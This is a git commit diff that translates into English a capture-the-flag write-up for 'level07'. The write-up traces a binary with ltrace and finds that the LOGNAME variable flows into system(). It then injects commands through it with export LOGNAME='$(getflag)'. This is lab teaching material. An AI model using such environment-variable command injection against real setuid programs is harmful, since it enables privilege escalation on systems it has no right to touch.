docs(lvl07): adding the english readme

This commit is contained in:
Raphael 2026-01-29 12:53:43 +01:00
parent 3fbe387519
commit 6c477e6684
No known key found for this signature in database

View file

@ -1,8 +1,8 @@
Lors de mon arriver sur le level07 je fait un petit check des fichiers
When arriving on level07 I do a small check of the files.
Je vois un level07 qui est un executable
I see a level07 which is an executable.
Je commence par faire un petit ltrace (pour regarder les librairies appeler)
I start by doing a small ltrace (to look at the libraries called).
```c
ltrace ./level07
@ -20,7 +20,7 @@ system("/bin/echo level07 "level07
+++ exited (status 0) +++
```
Et je remarque que getenv et appeler sur LOGNAME je tente donc une modification et:
And I notice that getenv is called on LOGNAME so I therefore try a modification and:
```bash
export LOGNAME='hello'
@ -29,7 +29,7 @@ export LOGNAME='hello'
hello
```
Mais il est donc egallement possible d'executer des commandes
But it is therefore also possible to execute commands.
```bash
export LOGNAME='$(echo hello)'
@ -37,7 +37,7 @@ export LOGNAME='$(echo hello)'
hello
```
Donc forcement il est possible de lancer getflag
So necessarily it is possible to launch getflag.
```bash
export LOGNAME='$(getflag)'